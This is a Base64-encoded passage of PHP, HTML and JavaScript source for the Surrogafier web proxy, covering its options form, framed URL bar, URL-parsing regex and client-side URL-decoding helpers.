lHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPW